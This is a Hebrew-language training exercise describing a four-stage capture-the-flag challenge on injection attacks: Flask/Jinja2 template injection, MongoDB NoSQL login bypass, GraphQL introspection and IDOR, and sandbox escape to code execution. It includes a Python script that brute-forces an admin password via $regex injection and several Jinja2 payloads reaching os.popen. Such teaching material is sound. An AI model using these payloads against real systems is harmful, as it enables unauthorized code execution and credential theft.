אתגר CTF - הזרקות¶
מבוא¶
אתגר CTF רב-שלבי שמשלב את כל טכניקות ההזרקה שלמדנו בפרק הזה. כל שלב דורש זיהוי וניצול של סוג הזרקה שונה. השלמת כל שלב נותנת רמז או גישה לשלב הבא.
שלב 1 - הזרקת תבניות - SSTI¶
תיאור¶
מצאתם אפליקציית Flask שמציגה הודעת שגיאה מותאמת אישית. כתובת ה-URL:
משימות¶
- בדקו אם הפרמטר
messageפגיע ל-SSTI:
- זהו את מנוע התבניות (Jinja2/Twig/אחר)
- חלצו את ה-SECRET_KEY של Flask:
- השיגו RCE ומצאו את הקובץ
/stage1_flag.txt:
- הקובץ מכיל את ה-flag של שלב 1 ואת הכתובת של שלב 2
רמזים¶
- אם
configחסום, נסו דרךcyclerאוjoiner - אם
__class__חסום, נסו|attr('\x5f\x5fclass\x5f\x5f') - חפשו גם קבצי קונפיגורציה אחרים על השרת שמכילים credentials
שלב 2 - הזרקת NoSQL¶
תיאור¶
מ-flag של שלב 1 קיבלתם כתובת של API ב-Node.js:
משימות¶
- נסו להתחבר עם פרטים רגילים ובדקו את התגובה
- עקפו את האותנטיקציה עם NoSQL injection:
- אחרי ההתחברות, תקבלו JWT token. השתמשו בו כדי לגשת ל-API
- חלצו את סיסמת ה-admin תו אחר תו עם
$regex:
import requests
import string
url = "http://target:3000/api/login"
charset = string.ascii_lowercase + string.digits
password = ""
for i in range(30):
for char in charset:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{char}"}
}
response = requests.post(url, json=payload)
if response.json().get("success"):
password += char
print(f"[+] Password: {password}")
break
- התחברו עם הסיסמה האמיתית כדי לקבל token עם הרשאות admin
- גשו ל-
/api/admin/flagעם ה-token
רמזים¶
- ה-API מקבל רק JSON - וודאו Content-Type
- אם
$neחסום, נסו$gtאו$exists - ה-JWT token צריך להיות ב-header:
Authorization: Bearer TOKEN
שלב 3 - תקיפת GraphQL¶
תיאור¶
מ-flag של שלב 2 קיבלתם כתובת של GraphQL API:
משימות¶
- בצעו introspection כדי לגלות את הסכמה:
{
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
type { name }
args { name type { name } }
}
}
}
}
- אם introspection חסום:
- נסו GET במקום POST
- נסו field suggestions עם שאילתות שגויות
-
נסו
__type(name: "Query")במקום__schema -
מצאו שאילתה שחושפת מידע רגיש (כמו
secretsאוflags) -
אם צריך הרשאות - נסו IDOR:
-
מצאו מוטציה שמאפשרת שינוי הרשאות
-
חלצו את ה-flag של שלב 3
רמזים¶
- בדקו אם יש סוג (type) בשם
Secret,Flag, אוAdmin - חפשו מוטציות כמו
updateRoleאוgrantAdmin - נסו aliases לעקיפת rate limiting
שלב 4 - שרשור SSTI ל-RCE¶
תיאור¶
מ-flag של שלב 3 קיבלתם גישה לאפליקציה נוספת שמשתמשת ב-template engine עם sandbox:
משימות¶
- אשרו SSTI:
- גלו אילו הגבלות קיימות (sandbox):
- האם
__class__חסום? - האם
osחסום? - האם
importחסום? -
האם
configחסום? -
עקפו את ה-sandbox:
# ניסיון 1 - דרך lipsum
{{lipsum.__globals__['os'].popen('id').read()}}
# ניסיון 2 - דרך cycler עם שרשור מחרוזות
{% set a='po'%}{%set b='pen'%}{{cycler.__init__.__globals__.os[a~b]('id').read()}}
# ניסיון 3 - דרך request.args
{{request|attr(request.args.a)}}?a=__class__
# ניסיון 4 - hex encoding
{{''|attr('\x5f\x5fclass\x5f\x5f')}}
-
השיגו RCE וקראו את
/final_flag.txt -
חלצו את ה-flag הסופי
רמזים¶
- נסו כל טכניקת עקיפה מההרצאה
- אם אין גישה ל-
os, נסוsubprocess - אם
popenחסום, נסוPopen(אותיות גדולות) מ-subprocess - אם הכל חסום - חפשו מחלקות דרך
__subclasses__()ומצאו אחת שמאפשרת קריאת קבצים
מערכת ניקוד¶
| שלב | נקודות | תיאור |
|---|---|---|
| שלב 1 - זיהוי SSTI | 10 | זיהוי שהפרמטר פגיע |
| שלב 1 - RCE | 15 | השגת הרצת קוד |
| שלב 1 - Flag | 5 | קריאת ה-flag |
| שלב 2 - Auth Bypass | 10 | עקיפת אותנטיקציה |
| שלב 2 - חילוץ סיסמה | 20 | חילוץ מלא עם $regex |
| שלב 2 - Flag | 5 | קריאת ה-flag |
| שלב 3 - Introspection | 10 | חשיפת הסכמה |
| שלב 3 - חילוץ נתונים | 15 | מציאת המידע הרגיש |
| שלב 3 - Flag | 5 | קריאת ה-flag |
| שלב 4 - Sandbox Bypass | 25 | עקיפת ה-sandbox |
| שלב 4 - Final Flag | 10 | קריאת ה-flag הסופי |
| סה"כ | 130 |
משאבים לתרגול¶
PortSwigger Labs¶
- כל מעבדות SSTI (7 מעבדות)
- כל מעבדות NoSQL Injection (4 מעבדות)
- כל מעבדות GraphQL (4 מעבדות)
- כל מעבדות XXE (8 מעבדות)
- כל מעבדות Host Header (7 מעבדות)
HackTheBox¶
- Templated - SSTI בסיסי ב-Jinja2
- Neonify - SSTI עם bypass
- Mango - NoSQL Injection ב-MongoDB
- Stocker - NoSQL Injection ב-Node.js
TryHackMe¶
- SSTI - חדר ייעודי להזרקת תבניות
- Injection - חדר כללי על הזרקות
- GraphQL - חדר ייעודי ל-GraphQL
כלים מומלצים¶
- Burp Suite Professional - עם Collaborator לבדיקות OOB
- tplmap - כלי אוטומטי לזיהוי וניצול SSTI
- NoSQLMap - כלי אוטומטי ל-NoSQL injection
- InQL - הרחבה ל-Burp לתקיפת GraphQL
- graphql-cop - סורק חולשות GraphQL
- XXEinjector - כלי אוטומטי ל-XXE
דרישות הגשה¶
- Writeup מלא לכל שלב הכולל:
- תיאור החולשה שמצאתם
- הצעדים שביצעתם
- ה-payloads המדויקים
- צילומי מסך של התוצאות
-
ה-flags שמצאתם
-
סקריפטים שכתבתם לאוטומציה (חילוץ סיסמה, סריקה, וכו')
-
המלצות תיקון לכל חולשה שמצאתם
-
זמן - האתגר מוגבל ל-4 שעות